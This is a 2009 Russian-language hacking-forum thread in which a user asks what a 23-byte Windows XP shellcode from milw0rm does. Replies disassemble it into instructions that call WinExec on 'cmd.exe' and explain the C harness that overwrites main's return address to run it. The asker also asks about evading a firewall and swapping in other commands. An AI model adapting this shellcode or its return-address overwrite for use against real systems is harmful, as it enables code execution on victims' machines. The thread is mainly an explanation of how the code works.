ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |

08.12.2009, 00:22
|
|
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме: 724939
Репутация:
108
|
|
Странный shell
Кто-то может обьяснить, что делает этот код? Скачал с милворма, там написано, что это шелл для cmd.
Description : It's a 23 Byte Shellcode which Execute Cmd.exe Tested Under Windows Xp SP2 En
Я откомпилировал, но не могу понять, что он делает.
Код:
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] =
"\x8b\xec\x68\x65\x78\x65"
"\x20\x68\x63\x6d\x64\x2e"
"\x8d\x45\xf8\x50\xb8\x8D"
"\x15\x86\x7C\xff\xd0";
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %d\n",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}
Написано, что он "Execute Cmd.exe", то есть вызывает cmd. Если да, то как это использовать?
Последний раз редактировалось =Zeus=; 08.12.2009 в 00:26..
|
|
|

08.12.2009, 00:52
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
Код:
"\x8b\xec\x68\x65\x78\x65"
"\x20\x68\x63\x6d\x64\x2e"
"\x8d\x45\xf8\x50\xb8\x8D"
"\x15\x86\x7C\xff\xd0";
это асм команды:
Код:
mov ebp,esp
push 20657865h //
push 2E646D63h // это типа cmd.exe
lea eax,[ebp-8]
push eax
mov eax,7C86158Dh // это хардкодно прописали адрес функции скорее всего WinExec
call eax // вызвать функцию
такая вешь ооочень фуфлова, потом что работает только на определенной версии винды и языка системы.
Другой язык или/и другая версия винды и будет провал.
Последний раз редактировалось slesh; 08.12.2009 в 00:55..
|
|
|

08.12.2009, 00:58
|
|
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме: 724939
Репутация:
108
|
|
А как тогда передать параметры в WinExec()?
Фаервол все равно спалит вызов?
|
|
|

08.12.2009, 01:01
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
При этом комбинация
Код:
int *ret;
ret=(int *)&ret+2; // ret будет равняться адресу созврата из функции main
printf("Shellcode Length is : %d\n",strlen(shellcode));
(*ret)=(int)shellcode; // перебьем адрес возврата на шелкод
return 0; // завершим функцию main. А т.к. адрес возврата мы подменили то вызовется шелкод
т.е. это пример вызова этого кода через срыв стека.
Передача параметров идет так:
Код:
mov ebp,esp // запомним адрес вершины стека
// поместим в стек
push 20657865h //
push 2E646D63h // это типа cmd.exe
lea eax,[ebp-8] // eax будет равняться указателю на начало строки cmd.exe которую закинули в стек
push eax // занесем параметр для WinExec а именно адрес имени проги. В нашем случае cmd.exe
Причем тут фаер?
Последний раз редактировалось slesh; 08.12.2009 в 01:10..
|
|
|

08.12.2009, 01:13
|
|
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме: 724939
Репутация:
108
|
|
1. Я понимаю что для того чтобы что-то изменить нужно знать асм?
2. Ну например на Делфи если написать
WinExec('cmd.exe', sw_show);
то фаер спалит запрос. А тут?
Код:
push 2E646D63h // это типа cmd.exe
А сюда писать то, что мне нужно вызвать?
Последний раз редактировалось =Zeus=; 08.12.2009 в 01:26..
|
|
|

08.12.2009, 01:38
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Это ASM) Самый сложный ЯП.
|
|
|

08.12.2009, 04:53
|
|
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
Провел на форуме: 3629857
Репутация:
504
|
|
Сообщение от mailbrush
Это ASM) Самый сложный ЯП.
не сложнее остальных
|
|
|
|
 |
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
webshell scripts -)
|
blackybr |
PHP, PERL, MySQL, JavaScript |
20 |
28.03.2010 02:17 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|